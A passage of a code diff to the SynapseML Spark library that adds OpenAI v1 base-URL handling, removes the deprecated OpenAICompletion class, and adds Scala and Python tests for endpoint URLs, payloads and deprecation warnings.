HasMessagesInput extends Params { val messagesCol: Param[String] = new Param[String]( this, "messagesCol", "The column messages to generate chat completions for," + @@ -54,6 +30,29 @@ trait HasMessagesInput extends Params { case object OpenAIDeploymentNameKey extends GlobalKey[Either[String, String]] case object OpenAIEmbeddingDeploymentNameKey extends GlobalKey[Either[String, String]] +private[openai] object OpenAIEndpointUtils { + private def stripTrailingSlashes(value: String): String = value.replaceAll("/+$", "") + + private def withoutQueryOrFragment(value: String): String = { + val stopAt = Seq(value.indexOf("?"), value.indexOf("#")).filter(_ >= 0) match { + case Seq() => value.length + case indexes => indexes.min + } + value.take(stopAt) + } + + def appendPath(baseUrl: String, path: String): String = { + val separator = if (baseUrl.endsWith("/")) "" else "/" + baseUrl + separator + path.stripPrefix("/") + } + + def isV1BaseUrl(baseUrl: String): Boolean = { + stripTrailingSlashes(withoutQueryOrFragment(baseUrl)) + .toLowerCase(Locale.ROOT) + .endsWith("/v1") + } +} + trait HasOpenAISharedParams extends HasServiceParams with HasAPIVersion { val deploymentName = new ServiceParam[String]( @@ -137,7 +136,7 @@ trait HasOpenAITextParams extends HasOpenAISharedParams { "The maximum number of completion tokens to generate. Has minimum of 0." + " Works with both reasoning and non-reasoning models." + " Sent as max_completion_tokens for chat completions," + - " max_output_tokens for responses API, and max_tokens for legacy completions.", + " and max_output_tokens for responses API.", isRequired = false) { override val payloadName: String = "max_completion_tokens" } @@ -456,6 +455,39 @@ abstract class OpenAIServicesBase(override val uid: String) extends CognitiveSer with HasOpenAISharedParams with OpenAIFabricSetting { setDefault(timeout -> 360.0) + override def setUrl(value: String): this.type = set(url, value) + + protected[openai] def isOpenAIV1BaseUrl: Boolean = + get(url).orElse(getDefault(url)).exists(OpenAIEndpointUtils.isV1BaseUrl) + + protected[openai] def endpointUrl(path: String): String = OpenAIEndpointUtils.appendPath(getUrl, path) + + protected[openai] def withV1DeploymentModel(params: Map[String, Any], row: Row): Map[String, Any] = { + if (isOpenAIV1BaseUrl && !params.contains("model")) { + params.updated("model", getValue(row, deploymentName)) + } else { + params + } + } + + private def warnIfV1ApiVersionConfigured(): Unit = { + if (isOpenAIV1BaseUrl && (get(apiVersion).nonEmpty || GlobalParams.getParam(apiVersion).nonEmpty)) { + logWarning( + "apiVersion is ignored when the OpenAI URL is a v1 base URL. " + + "Remove apiVersion or use a non-v1 endpoint.") + } + } + + override protected def getUrlParams: Array[ServiceParam[_]] = { + val params = super.getUrlParams + if (isOpenAIV1BaseUrl) { + warnIfV1ApiVersionConfigured() + params.filterNot(_.name == apiVersion.name) + } else { + params + } + } + private def usingDefaultOpenAIEndpoint(): Boolean = { getUrl == FabricClient.MLWorkloadEndpointML + "/cognitive/openai/" } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletion.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletion.scala index eee8b0b8c5a..e915c4d4677 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletion.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletion.scala @@ -113,7 +113,11 @@ class OpenAIChatCompletion(override val uid: String) extends OpenAIServicesBase( } override protected def prepareUrlRoot: Row => String = { row => - s"${getUrl}openai/deployments/${getValue(row, deploymentName)}/chat/completions" + if (isOpenAIV1BaseUrl) { + endpointUrl("chat/completions") + } else { + endpointUrl(s"openai/deployments/${getValue(row, deploymentName)}/chat/completions") + } } override private[ml] def getOptionalParams(r: Row): Map[String, Any] = { @@ -125,7 +129,7 @@ class OpenAIChatCompletion(override val uid: String) extends OpenAIServicesBase( r => lazy val optionalParams: Map[String, Any] = getOptionalParams(r) val messages = r.getAs[Seq[Row]](getMessagesCol) - Some(getStringEntity(messages, optionalParams)) + Some(getStringEntity(messages, withV1DeploymentModel(optionalParams, r))) } override val subscriptionKeyHeaderName: String = "api-key" diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletion.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletion.scala deleted file mode 100644 index 4b5b26a84b5..00000000000 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletion.scala +++ /dev/null @@ -1,75 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.openai - -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import com.microsoft.azure.synapse.ml.param.AnyJsonFormat.anyFormat -import com.microsoft.azure.synapse.ml.services.{HasCognitiveServiceInput, HasInternalJsonOutputParser} -import org.apache.http.entity.{AbstractHttpEntity, ContentType, StringEntity} -import org.apache.spark.ml.ComplexParamsReadable -import org.apache.spark.ml.util._ -import org.apache.spark.sql.{functions => F, Row} -import org.apache.spark.sql.types._ -import spray.json.DefaultJsonProtocol._ -import spray.json._ - -import scala.language.existentials - -object OpenAICompletion extends ComplexParamsReadable[OpenAICompletion] - -class OpenAICompletion(override val uid: String) extends OpenAIServicesBase(uid) - with HasOpenAITextParams with HasPromptInputs with HasCognitiveServiceInput - with HasInternalJsonOutputParser with SynapseMLLogging with HasTextOutput { - logClass(FeatureNames.AiServices.OpenAI) - - def this() = this(Identifiable.randomUID("OpenAICompletion")) - - def urlPath: String = "" - - override private[ml] def internalServiceType: String = "openai" - - setDefault(apiVersion -> Left("2024-02-01")) - - override def setCustomServiceName(v: String): this.type = { - setUrl(s"https://$v.openai.azure.com/" + urlPath.stripPrefix("/")) - } - - override protected def prepareUrlRoot: Row => String = { row => - s"${getUrl}openai/deployments/${getValue(row, deploymentName)}/completions" - } - - override private[ml] def getOptionalParams(r: Row): Map[String, Any] = { - val base = super.getOptionalParams(r) - resolveMaxTokens(base, "max_tokens") - } - - override protected[openai] def prepareEntity: Row => Option[AbstractHttpEntity] = { - r => - lazy val optionalParams: Map[String, Any] = getOptionalParams(r) - getValueOpt(r, prompt) - .map(prompt => getStringEntity(prompt, optionalParams)) - .orElse(getValueOpt(r, batchPrompt) - .map(batchPrompt => getStringEntity(batchPrompt, optionalParams))) - .orElse(throw new IllegalArgumentException( - "Please set one of prompt, batchPrompt, indexPrompt or batchIndexPrompt.")) - } - - override val subscriptionKeyHeaderName: String = "api-key" - - override def shouldSkip(row: Row): Boolean = - super.shouldSkip(row) || - (emptyParamData(row, prompt) && emptyParamData(row, batchPrompt)) - - override def responseDataType: DataType = CompletionResponse.schema - - private[this] def getStringEntity[A](prompt: A, optionalParams: Map[String, Any]): StringEntity = { - val fullPayload = optionalParams.updated("prompt", prompt) - new StringEntity(fullPayload.toJson.compactPrint, ContentType.APPLICATION_JSON) - } - - override private[openai] def getOutputMessageText(outputColName: String): org.apache.spark.sql.Column = { - F.element_at(F.col(outputColName).getField("choices"), 1).getField("text") - } - -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaults.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaults.scala index 8d63032898a..cc86df4478c 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaults.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIDefaults.scala @@ -47,8 +47,7 @@ object OpenAIDefaults { } def setURL(v: String): Unit = { - val url = if (v.endsWith("/")) v else v + "/" - GlobalParams.setGlobalParam(URLKey, url) + GlobalParams.setGlobalParam(URLKey, v) } def getURL: Option[String] = { diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbedding.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbedding.scala index 16821707020..6a67dfb92be 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbedding.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIEmbedding.scala @@ -64,10 +64,19 @@ class OpenAIEmbedding (override val uid: String) extends OpenAIServicesBase(uid) } override protected def prepareUrlRoot: Row => String = { row => + val dep = getEmbeddingDeployment(row) + if (isOpenAIV1BaseUrl) { + endpointUrl("embeddings") + } else { + endpointUrl(s"openai/deployments/$dep/embeddings") + } + } + + private[this] def getEmbeddingDeployment(row: Row): String = { val globalEmbeddingDeployment = GlobalParams.getGlobalParam(OpenAIEmbeddingDeploymentNameKey).flatMap(_.left.toOption) - val dep = globalEmbeddingDeployment.orElse { + globalEmbeddingDeployment.orElse { // If embedding-specific deployment is not set, check instance param if (isSet(deploymentName)) { getValueOpt(row, deploymentName) @@ -77,8 +86,6 @@ class OpenAIEmbedding (override val uid: String) extends OpenAIServicesBase(uid) }.getOrElse(throw new IllegalArgumentException( "No embedding deployment name provided. Set the 'deploymentName' param or call " + "OpenAIDefaults.setEmbeddingDeploymentName('') to set a global default.")) - - s"${getUrl}openai/deployments/$dep/embeddings" } private[this] def getStringEntity[A](text: A, optionalParams: Map[String, Any]): StringEntity = { @@ -88,7 +95,10 @@ class OpenAIEmbedding (override val uid: String) extends OpenAIServicesBase(uid) override protected def prepareEntity: Row => Option[AbstractHttpEntity] = { r => - lazy val optionalParams: Map[String, Any] = getOptionalParams(r) + lazy val optionalParams: Map[String, Any] = { + val params = getOptionalParams(r) + if (isOpenAIV1BaseUrl) params.updated("model", getEmbeddingDeployment(r)) else params + } getValueOpt(r, text) .map(text => getStringEntity(text, optionalParams)) .orElse(throw new IllegalArgumentException( diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala index fbf1d584285..9e56e997748 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala @@ -241,6 +241,8 @@ class OpenAIPrompt(override val uid: String) extends Transformer store -> Left(false) ) + override def setUrl(value: String): this.type = set(url, value) + override def setCustomServiceName(v: String): this.type = { setUrl(s"https://$v.openai.azure.com/" + urlPath.stripPrefix("/")) } @@ -284,8 +286,6 @@ class OpenAIPrompt(override val uid: String) extends Transformer df: DataFrame, messagesCol: Column ): (DataFrame, String, OpenAIServicesBase with HasTextOutput) = { - // All services are now HasMessagesInput (OpenAIChatCompletion, OpenAIResponses, AIFoundryChatCompletion) - // Legacy OpenAICompletion did not support MessagesInput which is no longer used in this class. val messagesService = service.asInstanceOf[HasMessagesInput] if (isSet(responseFormat)) { @@ -639,7 +639,12 @@ class OpenAIPrompt(override val uid: String) extends Transformer host.exists(_.toLowerCase.endsWith("services.ai.azure.com")) } - private[openai] def hasAIFoundryModel: Boolean = this.isDefined(model) && isAIFoundryEndpoint + private def isOpenAIV1Endpoint: Boolean = { + get(url).orElse(getDefault(url)).exists(OpenAIEndpointUtils.isV1BaseUrl) + } + + private[openai] def hasAIFoundryModel: Boolean = + this.isDefined(model) && isAIFoundryEndpoint && !isOpenAIV1Endpoint //deployment name can be set by user, it doesn't have to match with model name private def getOpenAIChatService: OpenAIServicesBase with HasTextOutput = { @@ -658,11 +663,10 @@ class OpenAIPrompt(override val uid: String) extends Transformer .filter(p => !localParamNames.contains(p.param.name) && completion.hasParam(p.param.name)) .foreach(p => completion.set(completion.getParam(p.param.name), p.value)) - completion match { - case resp: OpenAIResponses - if this.isDefined(model) && get(deploymentName).orElse(getDefault(deploymentName)).isEmpty => - resp.setDeploymentName(getModel) - case _ => + if (this.isDefined(model) && + get(deploymentName).orElse(getDefault(deploymentName)).isEmpty && + (isOpenAIV1Endpoint || completion.isInstanceOf[OpenAIResponses])) { + completion.setDeploymentName(getModel) } completion diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponses.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponses.scala index 53fa65ba6db..21ead3b99b3 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponses.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIResponses.scala @@ -142,7 +142,11 @@ class OpenAIResponses(override val uid: String) extends OpenAIServicesBase(uid) } override protected def prepareUrlRoot: Row => String = { row => - s"${getUrl}openai/responses" + if (isOpenAIV1BaseUrl) { + endpointUrl("responses") + } else { + endpointUrl("openai/responses") + } } override protected[openai] def prepareEntity: Row => Option[AbstractHttpEntity] = { @@ -164,6 +168,9 @@ class OpenAIResponses(override val uid: String) extends OpenAIServicesBase(uid) private def mergeModel(params: Map[String, Any], r: Row): Map[String, Any] = { getValueOpt(r, deploymentName) match { case Some(m) if m != null && m.nonEmpty => params.updated("model", m) + case _ if isOpenAIV1BaseUrl && !params.contains("model") => + throw new IllegalArgumentException( + "No deployment/model name provided for OpenAI v1 endpoint. Set the 'deploymentName' param.") case _ => params } } diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAISchemas.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAISchemas.scala index 5f4c34ef61e..6c0f78b218a 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAISchemas.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAISchemas.scala @@ -4,27 +4,8 @@ package com.microsoft.azure.synapse.ml.services.openai import com.microsoft.azure.synapse.ml.core.schema.SparkBindings -import org.apache.spark.sql.Row import spray.json.{DefaultJsonProtocol, RootJsonFormat} -object CompletionResponse extends SparkBindings[CompletionResponse] - -case class CompletionResponse(id: String, - `object`: String, - created: String, - model: String, - choices: Seq[OpenAIChoice]) - -case class OpenAIChoice(text: String, - index: Long, - logprobs: Option[OpenAILogProbs], - finish_reason: String) - -case class OpenAILogProbs(tokens: Seq[String], - token_logprobs: Seq[Double], - top_logprobs: Seq[Map[String, Double]], - text_offset: Seq[Long]) - object EmbeddingUsage extends SparkBindings[EmbeddingUsage] case class EmbeddingUsage(prompt_tokens: Long, diff --git a/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAICompletionDeprecated.py b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAICompletionDeprecated.py new file mode 100644 index 00000000000..075359b1d79 --- /dev/null +++ b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAICompletionDeprecated.py @@ -0,0 +1,68 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import sys +import unittest +import warnings + +_MODULE_NAME = "synapse.ml.services.openai.OpenAICompletion" +_PACKAGE_NAME = "synapse.ml.services.openai" +_WARNING_TEXT = "OpenAICompletion has been removed" + + +def _clear_openai_completion_imports(): + sys.modules.pop(_MODULE_NAME, None) + package = sys.modules.get(_PACKAGE_NAME) + if package is not None: + package.__dict__.pop("OpenAICompletion", None) + + +def _has_openai_completion_warning(caught): + return any( + issubclass(warning.category, FutureWarning) + and _WARNING_TEXT in str(warning.message) + for warning in caught + ) + + +class TestOpenAICompletionDeprecated(unittest.TestCase): + def test_package_import_warns(self): + _clear_openai_completion_imports() + + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + from synapse.ml.services.openai import OpenAICompletion + + package = sys.modules[_PACKAGE_NAME] + if hasattr(package, "__getattr__"): + self.assertIsInstance(OpenAICompletion, type) + else: + self.assertIsInstance(OpenAICompletion.OpenAICompletion, type) + self.assertTrue(_has_openai_completion_warning(caught)) + + def test_submodule_import_warns(self): + _clear_openai_completion_imports() + + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + from synapse.ml.services.openai.OpenAICompletion import OpenAICompletion + + self.assertIsInstance(OpenAICompletion, type) + self.assertTrue(_has_openai_completion_warning(caught)) + + def test_instantiation_warns_and_raises(self): + _clear_openai_completion_imports() + with warnings.catch_warnings(): + warnings.simplefilter("ignore") + from synapse.ml.services.openai.OpenAICompletion import OpenAICompletion + + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + with self.assertRaisesRegex(RuntimeError, _WARNING_TEXT): + OpenAICompletion() + + self.assertTrue(_has_openai_completion_warning(caught)) + + +if __name__ == "__main__": + result = unittest.main() diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala index 60b1bc54018..d540cd71a55 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIChatCompletionSuite.scala @@ -539,6 +539,34 @@ class OpenAIChatCompletionSuite extends TransformerFuzzing[OpenAIChatCompletion] testCompletion(completion, goodDf) } + test("content filtering identifies empty assistant content") { + val responseJson = + """{ + | "id":"chatcmpl_test", + | "object":"chat.completion", + | "created":"1", + | "model":"gpt-4.1", + | "choices":[ + | { + | "message":{"role":"assistant","content":null,"name":null}, + | "index":0, + | "finish_reason":"content_filter" + | } + | ], + | "system_fingerprint":null, + | "usage":null + |}""".stripMargin + + val outputRow = spark.read + .schema(ChatModelResponse.schema) + .json(Seq(responseJson).toDS) + .collect() + .head + val completion = new OpenAIChatCompletion() + assert(completion.isContentFiltered(outputRow)) + assert(completion.getFilterReason(outputRow) == "content_filter") + } + ignore("Custom EndPoint") { lazy val accessToken: String = sys.env.getOrElse("CUSTOM_ACCESS_TOKEN", "") lazy val customRootUrlValue: String = sys.env.getOrElse("CUSTOM_ROOT_URL", "") diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletionSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletionSuite.scala deleted file mode 100644 index 997838b2841..00000000000 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICompletionSuite.scala +++ /dev/null @@ -1,88 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.openai - -import com.microsoft.azure.synapse.ml.Secrets -import com.microsoft.azure.synapse.ml.Secrets.getAccessToken -import com.microsoft.azure.synapse.ml.core.test.base.Flaky -import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} -import org.apache.spark.ml.util.MLReadable -import org.apache.spark.sql.{DataFrame, Row} - -class OpenAICompletionSuite extends TransformerFuzzing[OpenAICompletion] with OpenAIAPIKey with Flaky { - override val compareDataInSerializationTest: Boolean = false - - - import spark.implicits._ - - override def beforeAll(): Unit = { - val aadToken = getAccessToken("https://cognitiveservices.azure.com/") - println(s"Triggering token creation early ${aadToken.length}") - super.beforeAll() - } - - def newCompletion: OpenAICompletion = new OpenAICompletion() - .setDeploymentName(deploymentName) - .setCustomServiceName(openAIServiceName) - .setMaxTokens(200) - .setOutputCol("out") - .setSubscriptionKey(openAIAPIKey) - - lazy val promptCompletion: OpenAICompletion = newCompletion.setPromptCol("prompt") - lazy val batchPromptCompletion: OpenAICompletion = newCompletion.setBatchPromptCol("batchPrompt") - - lazy val df: DataFrame = Seq( - "Once upon a time", - "Best programming language award goes to", - "SynapseML is " - ).toDF("prompt") - - lazy val promptDF: DataFrame = Seq( - "Once upon a time", - "Best programming language award goes to", - "SynapseML is " - ).toDF("prompt") - - lazy val batchPromptDF: DataFrame = Seq( - Seq( - "This is a test", - "Now is the time", - "Knock, knock") - ).toDF("batchPrompt") - - ignore("Basic Usage") { - testCompletion(promptCompletion, promptDF) - } - - ignore("Basic usage with AAD auth") { - val aadToken = getAccessToken("https://cognitiveservices.azure.com/") - - val completion = new OpenAICompletion() - .setAADToken(aadToken) - .setDeploymentName(deploymentName) - .setCustomServiceName(openAIServiceName) - .setPromptCol("prompt") - .setOutputCol("out") - - testCompletion(completion, promptDF) - } - - ignore("Batch Prompt") { - testCompletion(batchPromptCompletion, batchPromptDF) - } - - def testCompletion(completion: OpenAICompletion, df: DataFrame, requiredLength: Int = 10): Unit = { - val fromRow = CompletionResponse.makeFromRowConverter - completion.transform(df).collect().foreach(r => - fromRow(r.getAs[Row]("out")).choices.foreach(c => - assert(c.text.length > requiredLength))) - } - - - override def testObjects(): Seq[TestObject[OpenAICompletion]] = - Seq(new TestObject(newCompletion, df)) - - override def reader: MLReadable[_] = OpenAICompletion - -} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala index 35b425c973b..1942bbdb71c 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptSuite.scala @@ -112,17 +112,27 @@ class OpenAIPromptSuite extends TransformerFuzzing[OpenAIPrompt] with OpenAIAPIK } // scalastyle:on null + private def hasNonEmptyError(row: Row, errorColName: String): Boolean = { + Option(row.getAs[Row](errorColName)) + .flatMap(error => Option(error.getAs[String]("response"))) + .exists(_.nonEmpty) + } + test("RAI Usage") { - val result = prompt + val rows = prompt .setDeploymentName(deploymentName) .setPromptTemplate("Tell me about a graphically disgusting " + "and violent movie in detail, " + "be very gory and NSFW in your description.") .transform(df) - .where(col(prompt.getErrorCol).isNotNull) - .select(prompt.getErrorCol) - .collect().head.getAs[Row](0) - assert(Option(result).nonEmpty) + .select(col(prompt.getOutputCol), col(prompt.getErrorCol)) + .collect() + + assert(rows.length == 3) + rows.foreach { row => + val hasOutput = Option(row.getAs[String](prompt.getOutputCol)).exists(_.nonEmpty) + assert(hasOutput || hasNonEmptyError(row, prompt.getErrorCol)) + } } test("Basic Usage") { diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala new file mode 100644 index 00000000000..e2d765eb22d --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIV1EndpointSuite.scala @@ -0,0 +1,345 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.services.HasCognitiveServiceInput +import com.microsoft.azure.synapse.ml.services.aifoundry.AIFoundryChatCompletion +import org.apache.http.entity.AbstractHttpEntity +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.catalyst.expressions.GenericRowWithSchema +import org.apache.spark.sql.types.{ArrayType, StringType, StructField, StructType} +import spray.json._ + +class OpenAIV1EndpointSuite extends TestBase { + + import spark.implicits._ + + private val prepareUrl = classOf[HasCognitiveServiceInput].getDeclaredMethod("prepareUrl") + prepareUrl.setAccessible(true) + + private val prepareEntity = classOf[HasCognitiveServiceInput].getDeclaredMethod("prepareEntity") + prepareEntity.setAccessible(true) + + private def requestUrl(transformer: HasCognitiveServiceInput, row: Row): String = + prepareUrl.invoke(transformer).asInstanceOf[Row => String].apply(row) + + private def requestPayload(transformer: HasCognitiveServiceInput, row: Row): JsObject = { + val entityBuilder = prepareEntity.invoke(transformer).asInstanceOf[Row => Option[AbstractHttpEntity]] + EntityUtils.toString(entityBuilder.apply(row).get).parseJson.asJsObject + } + + private val messageSchema = StructType(Seq( + StructField("role", StringType, nullable = false), + StructField("content", StringType, nullable = true), + StructField("name", StringType, nullable = true) + )) + + private val messagesRequestSchema = StructType(Seq( + StructField("messages", ArrayType(messageSchema, containsNull = false), nullable = true) + )) + + private def messagesRow: Row = { + val message = new GenericRowWithSchema( + Array[Any]("user", "hello", null), // scalastyle:ignore null + messageSchema + ) + new GenericRowWithSchema(Array[Any](Seq(message)), messagesRequestSchema) + } + + test("OpenAI URLs preserve configured base URL strings") { + val root = new OpenAIChatCompletion().setUrl("https://example.openai.azure.com") + assert(root.getUrl == "https://example.openai.azure.com") + + val v1 = new OpenAIChatCompletion().setUrl("https://example.openai.azure.com/openai/v1") + assert(v1.getUrl == "https://example.openai.azure.com/openai/v1") + + val prompt = new OpenAIPrompt().setUrl("https://example.services.ai.azure.com") + assert(prompt.getUrl == "https://example.services.ai.azure.com") + + val versionedPath = "https://synapseml-openai-3.openai.azure.com/openai/v2" + OpenAIDefaults.setURL(versionedPath) + try { + assert(OpenAIDefaults.getURL.contains(versionedPath)) + } finally { + OpenAIDefaults.resetURL() + } + + OpenAIDefaults.setURL("https://example.services.ai.azure.com/openai/v1") + try { + val transformer = new OpenAIChatCompletion() + transformer.transferGlobalParamsToParamMap() + assert(transformer.getUrl == "https://example.services.ai.azure.com/openai/v1") + } finally { + OpenAIDefaults.resetURL() + } + } + + test("non-v1 versioned paths remain literal non-v1 base URLs") { + val versionedPath = "https://synapseml-openai-3.openai.azure.com/openai/v2" + OpenAIDefaults.setURL(versionedPath) + try { + val transformer = new OpenAIChatCompletion() + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + transformer.transferGlobalParamsToParamMap() + + assert(OpenAIDefaults.getURL.contains(versionedPath)) + assert(transformer.getUrl == versionedPath) + assert(requestUrl(transformer, messagesRow) == + versionedPath + "/openai/deployments/gpt-4o/chat/completions?api-version=2025-04-01-preview") + } finally { + OpenAIDefaults.resetURL() + } + } + + test("chat completions uses OpenAI v1 base URL without api-version and sends model") { + val transformer = new OpenAIChatCompletion() + .setUrl("https://example.services.ai.azure.com/openai/v1") + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + val row = messagesRow + assert(requestUrl(transformer, row) == "https://example.services.ai.azure.com/openai/v1/chat/completions") + + val payload = requestPayload(transformer, row) + assert(payload.fields.get("model").contains(JsString("gpt-4o"))) + assert(payload.fields.contains("messages")) + } + + test("chat completions accepts OpenAI-compatible v1 base URLs with and without trailing slash") { + Seq( + "https://example.openai.azure.com/openai/v1" -> + "https://example.openai.azure.com/openai/v1/chat/completions", + "https://example.openai.azure.com/openai/v1/" -> + "https://example.openai.azure.com/openai/v1/chat/completions", + "https://api.openai.com/v1" -> + "https://api.openai.com/v1/chat/completions", + "http://localhost:8000/v1/" -> + "http://localhost:8000/v1/chat/completions" + ).foreach { case (baseUrl, expectedUrl) => + val transformer = new OpenAIChatCompletion() + .setUrl(baseUrl) + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == expectedUrl) + } + } + + test("chat completions keeps legacy Azure deployment URL and api-version with and without trailing slash") { + Seq("https://example.openai.azure.com", "https://example.openai.azure.com/").foreach { baseUrl => + val transformer = new OpenAIChatCompletion() + .setUrl(baseUrl) + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + val row = messagesRow + assert(requestUrl(transformer, row) == + "https://example.openai.azure.com/openai/deployments/gpt-4o/chat/completions" + + "?api-version=2025-04-01-preview") + assert(!requestPayload(transformer, row).fields.contains("model")) + } + } + + test("chat completions accepts services.ai.azure.com resource root with and without trailing slash") { + Seq("https://example.services.ai.azure.com", "https://example.services.ai.azure.com/").foreach { baseUrl => + val transformer = new OpenAIChatCompletion() + .setUrl(baseUrl) + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == + "https://example.services.ai.azure.com/openai/deployments/gpt-4o/chat/completions" + + "?api-version=2025-04-01-preview") + } + } + + test("AI Foundry chat accepts services.ai.azure.com resource root with and without trailing slash") { + Seq("https://example.services.ai.azure.com", "https://example.services.ai.azure.com/").foreach { baseUrl => + val transformer = new AIFoundryChatCompletion() + .setUrl(baseUrl) + .setModel("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == + "https://example.services.ai.azure.com/models/chat/completions?api-version=2025-04-01-preview") + } + } + + test("non-v1 URL paths remain permissive and use legacy request construction") { + val transformer = new OpenAIChatCompletion() + .setUrl("https://example.openai.azure.com/openai") + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == + "https://example.openai.azure.com/openai/openai/deployments/gpt-4o/chat/completions" + + "?api-version=2025-04-01-preview") + } + + test("custom non-Azure URL strings remain permissive") { + val transformer = new OpenAIChatCompletion() + .setUrl("https://proxy.contoso.com/openai") + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + .setApiVersion("2025-04-01-preview") + + assert(requestUrl(transformer, messagesRow) == + "https://proxy.contoso.com/openai/openai/deployments/gpt-4o/chat/completions" + + "?api-version=2025-04-01-preview") + } + + test("OpenAI defaults allow non-v1 URL paths") { + OpenAIDefaults.setURL("https://example.openai.azure.com/openai") + try { + val transformer = new OpenAIChatCompletion() + .setDeploymentName("gpt-4o") + .setMessagesCol("messages") + transformer.transferGlobalParamsToParamMap() + + assert(requestUrl(transformer, messagesRow) == + "https://example.openai.azure.com/openai/openai/deployments/gpt-4o/chat/completions" + + "?api-version=2025-04-01-preview") + } finally { + OpenAIDefaults.resetURL() + } + } + + test("OpenAI defaults allow arbitrary URL strings") { + 